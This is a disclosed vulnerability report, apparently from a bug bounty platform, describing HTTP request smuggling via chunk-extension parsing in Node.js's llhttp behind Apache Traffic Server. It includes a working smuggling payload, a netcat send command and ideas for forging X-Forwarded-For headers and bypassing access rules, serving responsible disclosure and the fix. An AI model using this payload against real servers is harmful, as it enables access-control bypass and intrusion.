HTTP Request Smuggling due to ignoring chunk extensions

Share:

TIMELINE

mkg submitted a report to Node.js. Jun 19th (about 1 year ago)

Summary:
The `llhttp` parser in the `http` module in Node 16.3.0 ignores chunk extensions when parsing the body of chunked requests. This leads to HTTP Request Smuggling (HRS) when a Node server is put behind an Apache Traffic Server (ATS) 9.0.0 proxy.

Description:
In the `chunked` transfer encoding format there can be a so called chunk extension after each chunk size. Example:

Code 75 Bytes Wrap lines Copy Download

```
GET / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked

5 ; a=b
hello
0

```

In the example above the chunk extension would be `; a=b`. You can read more here https://datatracker.ietf.org/doc/html/rfc7230#section-4.1.1 and here https://www.rfc-editor.org/errata/eid4667 .

`llhttp` doesn't try to parse the chunk extension properly, but simply ignores every byte until it reaches a `\r` (source: https://github.com/nodejs/llhttp/blob/master/src/llhttp/http.ts#L736-L739). By following the ABNF of chunk extensions one can see that the only allowed bytes in this area are 0x09, 0x21-0x7e and 0x80-0xff. But `llhttp` allows any byte. This is the bug.

Notably we can put a `\n` in this area. This allows us to perform HRS when combined with ATS. This is because ATS also incorrectly parses the chunked extension. ATS looks for the first `\n` character and doesn't verify whether it was preceded by a `\r`. We arrive at the following attack:

Code 148 Bytes Wrap lines Copy Download

```
GET / HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

2 \nxx
4c
0

GET /admin HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

0

```

By sending the data above when ATS is a proxy in front of Node, ATS will see one request to `/` and Node will see two requests, one to `/` and one to `/admin`. Note that all lines are terminated by CRLF (`\r\n`) and that `\n` should be replaced with an LF character.

Usually with HRS it is possible to smuggle a request past a proxy directly to the server and then get a response for the smuggled request back to the attacker. But due to a bug in ATS where the connection hangs after a chunked request is sent, we can in this case only send a smuggled request and not see the response. But we have full control over the headers and body of the smuggled request.

Both these bugs have been reported to ATS and have not been fixed yet.

Steps To Reproduce:

This Proof of Concept requires docker and docker-compose.

Unzip the attached `poc.zip`. Start the systems with `sudo docker-compose up --build`. Now Node can be accessed directly at http://localhost:8081 and ATS (forwarding to Node) can be accessed at http://localhost:8080

Node behaves like this:

Code 124 Bytes Wrap lines Copy Download

```
$ curl http://localhost:8081
INDEX
$ curl http://localhost:8081/admin
ADMIN
$ curl http://localhost:8081/forbidden
FORBIDDEN
```

Note that when `/admin` is requested, then `/admin was reached!` is printed in the docker-compose terminal.

ATS behaves like this:

```
FORBIDDEN
$ curl http://localhost:8080/forbidden
FORBIDDEN
```

Note that all requests to `/admin` are rerouted to `/forbidden` by ATS. So the `/admin` endpoint can't be reached.

Now it's time to send the attack described above. This can be done by using the included `payload.py`. The attack can be sent using the following command:

Code 38 Bytes Wrap lines Copy Download

```
python3 payload.py | nc localhost 8080
```

When the attack is sent, we see `/admin was reached!` being printed in the terminal. So we bypassed the proxy and reached `/admin`.

(As mentioned before, due to a bug in ATS, the response to the smuggled request can't be seen. If ATS would not have had the mentioned bug, then `payload2.py` could have been used to both send a request and see the response.)

Impact

If the proxy is acting as an access control system, only allowing certain requests to come through, it can be bypassed, allowing any request to be sent.

1 attachment:
F1344561: poc.zip

mkg invited another hacker as a collaborator. Jun 19th (about 1 year ago)

astraol joined this report as a collaborator. Jun 20th (about 1 year ago)

kumarak39 Node.js staff posted a comment. Jun 22nd (about 1 year ago)
Thanks, @mkg for reporting!

I looked into your example and was able to replicate it with the image. I looked into the RFC(https://datatracker.ietf.org/doc/html/rfc7230#section-4.1.1) and it does say the recipient should ignore the unrecognizable chunk extension. Does it mean there could be security implications?

Code 385 Bytes Wrap lines Copy Download

```
   A recipient MUST ignore unrecognized chunk extensions.  A server
   ought to limit the total length of chunk extensions received in a
   request to an amount reasonable for the services provided, in the
   same way that it applies length limitations and timeouts for other
   parts of a message, and generate an appropriate 4xx (Client Error)
   response if that amount is exceeded.
```

I see it as an issue with ATS (proxy server) which ignores the chunk extension in a certain way and allows requests to get smuggled to Node. I will add @mcollina and @mike-myers-tob for their thoughts.

mkg posted a comment. Jun 23rd (about 1 year ago)
Yes, the RFC says that recipients "MUST ignore unrecognized chunk extensions". The issue with Node is that it doesn't parse the chunk extension according to the ABNF. It just allows any bytes. Meaning that a \n can be placed where it shouldn't be allowed. This is the bug. If Node would instead first parse the chunk extension according to the ABNF (rejecting all invalid requests) and then ignore the chunk extension, then all would be fine.

There can't be any security implications if the chunk extension is parsed based on the ABNF. But Node's current behavior causes Request Smuggling, which is a security issue. If the proxy (in this case ATS) performs any security checks on the incoming requests, then this can be bypassed. Here are some cases that can be bypassed based on this bug:

- If the proxy disallows certain HTTP methods
- If certain paths are only allowed based on source IP

Reverse proxies also often set the header "X-Forwarded-For" with the IP of the client making the request. Using this attack, you could set a custom "X-Forwarded-For" header on the smuggled request, potentially bypassing security measures on Node's side. This is the same for any other internal headers that the proxy usually sets.

It is also worth pointing out that if another proxy with the specific parsing and forwarding behavior is discovered or if ATS would not have had the above mentioned bug, then many other attacks would also have been possible. Such as cache poisoning and capturing other users requests. https://portswigger.net/web-security/request-smuggling/exploiting

> I see it as an issue with ATS [...]

Yes this is an issue with ATS. And with Node. If ATS would not have had the described behavior, then the attack would have been impossible, but the same argument can be used the other way around. As often is the case with Request Smuggling issues, both parties must have specific bugs, which means both parties share the responsibility for the attack being possible.

jasnell Node.js staff posted a comment. Jun 23rd (about 1 year ago)
@indutny ... this is another one that likely needs your eyes.

jasnell Node.js staff changed the status to ● **Triaged**. Jun 23rd (about 1 year ago)

ronag Node.js staff posted a comment. Jul 13th (about 1 year ago)
Started on a PR: https://github.com/nodejs-private/llhttp-private/pull/6

mkg posted a comment. Aug 16th (about 1 year ago)
Any update on this?

mcollina Node.js staff posted a comment. Sep 15th (about 1 year ago)

The fix is ready and it will be go in the next Security release.

mcollina Node.js staff posted a comment. Oct 1st (about 1 year ago)

How can we attribute this finding to you in public communications?

mcollina Node.js staff posted a comment. Oct 1st (about 1 year ago)

I would rate this as https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N&version=3.1. Do you agree?

mkg posted a comment. Oct 1st (about 1 year ago)

You can attribute to us like this: Mattias Grenfeldt (https://grenfeldt.dev/) and Asta Olofsson

If links are not allowed just remove it. :)

We agree with the rating.

Will there be a CVE for this?

mcollina Node.js staff updated CVE reference to CVE-2021-22960. Oct 1st (about 1 year ago)

mcollina Node.js staff updated the severity to Medium. Oct 15th (about 1 year ago)

mcollina Node.js staff closed the report and changed the status to Resolved. Oct 15th (about 1 year ago)

Released as part of https://nodejs.org/en/blog/vulnerability/oct-2021-security-releases/

Thank you very much for this report and thanks for the patience.

mcollina Node.js staff requested to disclose this report. Oct 15th (about 1 year ago)

The Internet Bug Bounty rewarded astraol with a **$125** bounty. Oct 20th (about 1 year ago)

The Internet Bug Bounty rewarded mkg with a **$125** bounty. Oct 20th (about 1 year ago)

mkg posted a comment. Oct 20th (about 1 year ago)

Thanks for the bounty :)

ATS said that they would release a patch for this on the 25 of October. So we want to wait with disclosure until then.

mkg agreed to disclose this report. Nov 2nd (about 1 year ago)

This report has been disclosed. Nov 2nd (about 1 year ago)